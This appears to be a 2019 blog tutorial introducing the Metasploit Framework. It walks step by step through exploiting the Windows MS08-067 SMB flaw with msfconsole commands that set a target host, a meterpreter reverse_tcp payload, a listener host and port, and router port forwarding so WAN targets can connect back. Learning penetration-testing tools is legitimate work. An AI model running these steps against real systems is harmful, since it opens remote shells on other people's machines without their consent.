Metasploit -- The MSF



Metasploit Framework (MSF) is the most widely used and very popular open source tool for pentesting. Metasploit Framework was first developed by HD Moore in 2001. Previously Metasploit was written in Perl; in 2007, it was totally rewritten in ruby and then in October 21, 2009 rapid7 acquired Metasploit.

Metasploit contains a huge collection of exploits, payloads, and encoders, which can be used to identify and exploit vulnerabilities during pentesting. We are going to cover Metasploit in some posts.

Metasploit is comes pre-installed with Kali Linux. To use it, open the Terminal window and type following command:

msfconsole
The screenshot is following:


We are going to search an exploit by its name, name of the exploit is ms08_067 this exploit is in Windows. So we need to type following command in terminal:

search ms08_067
The screenshot of the command is following:


Now we are going to use the exploit, to do this we need to type the path of the exploit. For this exploits path look at the screenshot above the path is here exploit/windows/smb/ms08_067_netapi . So we use the following command:


use exploit/windows/smb/ms08_067_netapi
The screenshot is here:


Now we can look at the options by typing following command:

show options
Screenshot is following:


Now we need to set the payload, IP of target, localhost and port we want for the reverse back connection. Here we need to open that port by using port forwarding which setting can be found in routers settings option.

We need to set the target by using targets IP (LAN or WAN) following command:

set RHOST x.x.x.x
Now we set the payload by using following command :

set payload windows/meterpreter/reverse_tcp
Now, we need to set the lhost and lport in which we want the connection:

set lhost x.x.x.x
and

set lport 4444
We used this in our local network. The screenshot is following:


Now we can exploit this by using exploit command 

exploit


After it is successfully exploited, we will get a meterpreter session.


Although we used only Windows reverse_tcp in this tutorial, but Metasploit Framework has a lot of other payloads depending on OS or web application. We used a name of exploit but we also can search for exploits. To search exploits of android mobile phones we can use following command in msfconsole:

search android



Or you can search exploits by using the name of web based applications

search wordpress


Those are just some example. A complete list of payloads can be found at
https://www.offensive-security.com/metasploit-unleashed/msfpayload/ .

Metasploit -- The MSF Metasploit -- The MSF Reviewed by Kali Linux on February 22, 2019 Rating: 5

No comments:

Powered by Blogger.